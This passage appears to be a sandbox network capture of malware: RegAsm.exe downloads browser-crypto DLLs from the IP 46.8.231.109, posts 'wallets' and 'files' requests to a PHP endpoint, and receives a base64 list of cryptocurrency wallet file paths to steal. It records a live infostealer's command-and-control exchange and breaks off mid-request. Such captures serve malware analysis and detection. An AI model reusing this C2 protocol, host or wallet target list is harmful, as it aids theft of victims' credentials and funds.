Sep 30, 2024 12:22:56.103802919 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 30, 2024 12:22:56.103851080 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 a2 00 10 a0 a2 00 10 80 a2 00 10 e0 a2 00 10 90 a3 00 10 30 a3 00 10 10 a3 00 10 70 a3 00 10 30 a4 00 10 d0 a3 Data Ascii: 0p0pP0`P` @ P0
Sep 30, 2024 12:22:56.103863001 CEST	448	IN	Data Raw: 02 b0 2b 01 00 02 40 2c 01 00 02 30 2d 01 00 00 60 2d 01 00 02 80 2d 01 00 02 90 2d 01 00 00 d0 2d 01 00 02 f0 2d 01 00 02 60 2e 01 00 02 80 2e 01 00 00 d0 2e 01 00 02 30 2f 01 00 00 a0 2f 01 00 00 30 30 01 00 02 a0 30 01 00 00 e0 30 01 00 02 00 Data Ascii: +@,0-`-----`...0//0000101@1`1112p203@33@405`55506@66P77`88p9:: ;0;@;P;`;p;;
Sep 30, 2024 12:22:56.103880882 CEST	1236	IN	Data Raw: 01 00 00 b0 45 01 00 02 e0 45 01 00 02 30 46 01 00 00 40 46 01 00 02 70 46 01 00 02 a0 46 01 00 02 e0 46 01 00 02 80 47 01 00 00 a0 47 01 00 00 20 48 01 00 02 40 48 01 00 02 b0 48 01 00 02 e0 48 01 00 02 50 49 01 00 00 70 49 01 00 02 a0 49 01 00 Data Ascii: EE0F@FpFFFGG H@HHHPIpIIIJJKPKpKK`L M@MPM`MpMMMM0NPPQQQQ`RRSSSSSTTpT
Sep 30, 2024 12:22:56.103892088 CEST	1236	IN	Data Raw: 00 00 e0 b7 01 00 00 b0 b8 01 00 00 b0 ba 01 00 00 d0 ba 01 00 00 40 bb 01 00 00 b0 bb 01 00 00 d0 bc 01 00 00 f0 bd 01 00 00 50 be 01 00 00 c0 be 01 00 00 30 bf 01 00 00 a0 c0 01 00 00 b0 c0 01 00 00 00 c1 01 00 02 90 c2 01 00 02 d0 c2 01 00 02 Data Ascii: @P00 P P @p`@P`p0
Sep 30, 2024 12:22:56.103903055 CEST	1236	IN	Data Raw: 00 70 a9 02 00 00 10 aa 02 00 00 b0 aa 02 00 00 e0 aa 02 00 00 f0 aa 02 00 00 10 ab 02 00 00 30 ab 02 00 00 40 ab 02 00 00 50 ab 02 00 00 70 ab 02 00 00 90 ab 02 00 00 d0 ac 02 00 00 40 ae 02 00 00 80 af 02 00 00 f0 b0 02 00 00 60 b1 02 00 00 d0 Data Ascii: p0@Pp@`pP0@ pPP0 @
Sep 30, 2024 12:22:56.103914976 CEST	1236	IN	Data Raw: 80 5b 03 00 02 80 5c 03 00 02 a0 5d 03 00 02 a0 5e 03 00 02 a0 5f 03 00 02 a0 60 03 00 02 a0 61 03 00 02 a0 62 03 00 02 a0 63 03 00 02 a0 64 03 00 02 f0 65 03 00 02 f0 66 03 00 02 f0 67 03 00 02 f0 68 03 00 02 f0 69 03 00 02 10 6b 03 00 02 10 6c Data Ascii: [\]^_`abcdefghiklmnopqrstuv`vvww xx@\|\|@}}P~~pp 0@P
Sep 30, 2024 12:22:56.103998899 CEST	896	IN	Data Raw: 03 00 07 00 0f 00 1f 00 3f 00 7f 00 ff 00 ff 01 ff 03 ff 07 ff 0f ff 1f ff 3f ff 7f 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 00 00 00 80 99 99 b9 3f 00 00 00 90 99 99 39 3e 00 00 00 30 33 33 a3 3c 00 00 00 90 99 99 f9 3a 00 00 00 00 00 00 Data Ascii: ???9>033<:$@?GwDz@PY@p>@%<nqE@QY@@.?y>@+eG?y>?@.?+eG?p>@GwDz@@%<nqE@PY@QY
Sep 30, 2024 12:22:56.104011059 CEST	1236	IN	Data Raw: 34 35 36 37 38 39 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 00 00 00 00 00 00 41 29 21 1c 19 17 16 15 14 13 12 12 11 11 11 10 10 10 0f 0f 0f 0f 0e 0e 0e 0e 0e 0e 0e 0d 0d 0d 0d 0d 0d 00 00 00 30 31 32 33 34 35 Data Ascii: 456789abcdefghijklmnopqrstuvwxyzA)!0123456789abcdefABCDEF0123456789abcdefABCDEFxUnknown exceptionxbad
Sep 30, 2024 12:22:56.104034901 CEST	1236	IN	Data Raw: 37 04 00 00 1c 41 00 10 38 04 00 00 28 41 00 10 39 04 00 00 34 41 00 10 3a 04 00 00 40 41 00 10 3b 04 00 00 4c 41 00 10 3e 04 00 00 58 41 00 10 3f 04 00 00 64 41 00 10 40 04 00 00 70 41 00 10 41 04 00 00 7c 41 00 10 43 04 00 00 88 41 00 10 44 04 Data Ascii: 7A8(A94A:@A;LA>XA?dA@pAA\|ACADAEAFAGAIAJAKALANBOBPBR$BV0BW<BZLBe\BklBl\|BBB
Sep 30, 2024 12:22:56.108805895 CEST	1236	IN	Data Raw: b3 00 00 00 9c 48 00 10 ab 00 00 00 d0 3e 00 10 41 00 00 00 a8 48 00 10 8b 00 00 00 00 3d 00 10 07 00 00 00 b8 48 00 10 4a 00 00 00 08 3d 00 10 08 00 00 00 c4 48 00 10 a3 00 00 00 d0 48 00 10 cd 00 00 00 dc 48 00 10 ac 00 00 00 e8 48 00 10 c9 00 Data Ascii: H>AH=HJ=HHHHHIII$I0I<IKHITI=`IlIxIIIIIIII
Sep 30, 2024 12:22:56.681583881 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 12:22:56.859901905 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	52543	46.8.231.109	80	8148	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:22:56.876996040 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 12:22:57.499350071 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 30, 2024 12:22:57.499365091 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 Data Ascii: Ut]h6h{t]UtH]h6h{t1]Ut$]h6h{t]Ut
Sep 30, 2024 12:22:57.499376059 CEST	448	IN	Data Raw: c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0c 8b 48 68 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb d2 cc cc cc cc Data Ascii: t]UtHh]h6h{t1]UtHl]h6h{t]UtHp]h6h{t]UtHt]h6h
Sep 30, 2024 12:22:57.499403000 CEST	1236	IN	Data Raw: c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 88 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 Data Ascii: t]Ut]h6h{t]UtHx]h6h{t1]UtH\|]h6h{t]Ut]h6
Sep 30, 2024 12:22:57.499419928 CEST	1236	IN	Data Raw: 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 dc 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 e0 00 00 00 Data Ascii: Ut]h6h{t]Ut]h6h{t1]Ut]h6h{t]Ut]h6h{t]
Sep 30, 2024 12:22:57.499432087 CEST	448	IN	Data Raw: ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 2c 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a Data Ascii: ]Ut,]h6h{t1]Ut0]h6h{t]Ut4]h6h{t]Ut8]h6h
Sep 30, 2024 12:22:57.501451015 CEST	1236	IN	Data Raw: ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 58 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a Data Ascii: ]UtX]h6h{t1]Ut\]h6h{t]Ut`]h6h{t]Utd]h6h
Sep 30, 2024 12:22:57.501461983 CEST	1236	IN	Data Raw: 85 c0 74 0f 8b 88 c8 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 d0 01 00 00 ff 15 00 a0 03 10 5d ff Data Ascii: t]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]
Sep 30, 2024 12:22:57.501471996 CEST	448	IN	Data Raw: a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 b4 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 Data Ascii: 6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut
Sep 30, 2024 12:22:57.504319906 CEST	1236	IN	Data Raw: a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 cc 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 Data Ascii: 6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t1]Ut
Sep 30, 2024 12:22:57.504383087 CEST	1236	IN	Data Raw: 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 38 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 Data Ascii: t]Ut8]h6h{t]Ut<]h6h{t]Ut@]h6h{t]UtD]h6h
Sep 30, 2024 12:22:58.147259951 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 12:22:58.324188948 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 30, 2024 12:22:58.809108019 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAK Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:59.091244936 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:59.117912054 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHDHIJDGCBAKFIEGHCB Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 2d 2d 0d 0a Data Ascii: ------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="message"wallets------CFHDHIJDGCBAKFIEGHCB--
Sep 30, 2024 12:22:59.299923897 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 30, 2024 12:22:59.302611113 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAF Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"files------EGIDHDGCBFBKECBFHCAF--
Sep 30, 2024 12:22:59.483103991 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:59.492058992 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 